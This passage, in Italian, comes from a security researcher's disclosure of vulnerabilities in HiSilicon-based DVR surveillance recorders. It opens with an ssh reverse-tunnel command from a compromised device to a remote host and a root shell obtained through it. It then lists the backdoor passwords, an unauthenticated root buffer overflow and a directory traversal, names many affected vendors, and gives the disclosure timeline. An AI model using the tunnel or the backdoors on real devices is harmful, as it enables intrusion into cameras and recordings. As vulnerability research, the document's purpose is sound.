$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
Ora il dispositivo è accessibile tramite il tunnel inverso usando SSH:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== sommario
Ecco le vulnerabilità documentate:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|vulnerabilità |rischio |servizio |scoperta |impatto
|password telnet hard-coded (backdoor) |alto |23/tcp |in precedenza da altri
|chiunque abbia accesso all'interfaccia telnet può assumere il pieno controllo
del dispositivo, anche se l'utente imposta password adeguate
|accesso root alla shell con qualsiasi account applicativo |alto |9527/tcp |da parte
dell'autore |chiunque possieda qualsiasi tipo di account applicativo e abbia accesso
alla console di servizio può elevare i privilegi fino al controllo completo (shell)
del dispositivo
|*password applicativa backdoor* |critico |80/tcp, 554/tcp |da parte
dell'autore |chiunque può accedere al dispositivo come amministratore applicativo, anche
se l'utente ha impostato password forti per proteggere il
dispositivo
|*buffer overflow nel webserver integrato* |critico |80/tcp |da parte
dell'autore |sfruttando il buffer overflow l'attaccante può ottenere l'esecuzione remota di codice come root
sul dispositivo (nessuna autenticazione richiesta), installare backdoor,
malware e altro materiale dannoso
|directory traversal |alto |80/tcp |in precedenza da altri(?) e da parte
dell'autore |accesso in lettura non autorizzato a tutto (es. flussi registrati)
sul dispositivo; aiuta anche a sfruttare il buffer overflow
|=======================================================================
Se qualcuno pensa che solo questo dispositivo del marchio "Seculink" sia affetto
da queste gravi vulnerabilità, si sbaglia. La gamma di dispositivi
interessati è molto ampia. Ogni dispositivo costruito con questo tipo
di hardware HiSilicon SoC è vulnerabile. Questi dispositivi condividono (quasi) lo stesso
firmware con questa applicazione binaria chiamata "Sofia". La vulnerabilità
sopra descritta (anche lo script completo) funziona quasi sempre in modo affidabile
senza modifiche su moltissimi hardware diversi.
Ecco un elenco (non completo) dei marchi interessati:
image::./brands_affected.png[marchi interessati]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
In generale, si può dire che questi tipi di dispositivi IoT economici sono
incubi di sicurezza. Ogni dispositivo testato recentemente dall'autore presentava alcune
vulnerabilità gravi o critiche. Dal punto di vista di un pentester, la
raccomandazione è che questi tipi di dispositivi siano ben separati:
questi tipi di dispositivi non devono condividere la stessa rete con dati
importanti e riservati. Purtroppo non c'è una reale possibilità di ottenere aggiornamenti
con patch per tali firmware.
Infine, è importante sottolineare che questa vulnerabilità di buffer overflow
(con il codice PoC dell'exploit) è stata divulgata tramite il
programma https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD) di https://www.beyondsecurity.com/[Beyond Security]. Il
fornitore (HiSilicon) è stato notificato (da Beyond Security) alla fine del
2016, ma non c'è stata alcuna risposta prima che la vulnerabilità fosse resa
pubblica (purtroppo è una cosa comune).
La divulgazione rilasciata a febbraio 2017 è disponibile
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[qui].
*AGGIORNAMENTO (2023-01-01):* Questa ricerca è citata da https://vulncheck.com/[VulnCheck]
(il 2022-11-30) in questo articolo sulla compromissione dei dispositivi Xiongmai
di https://twitter.com/Junior_Baines[Jacob Baines]:
https://vulncheck.com/blog/xiongmai-iot-exploitation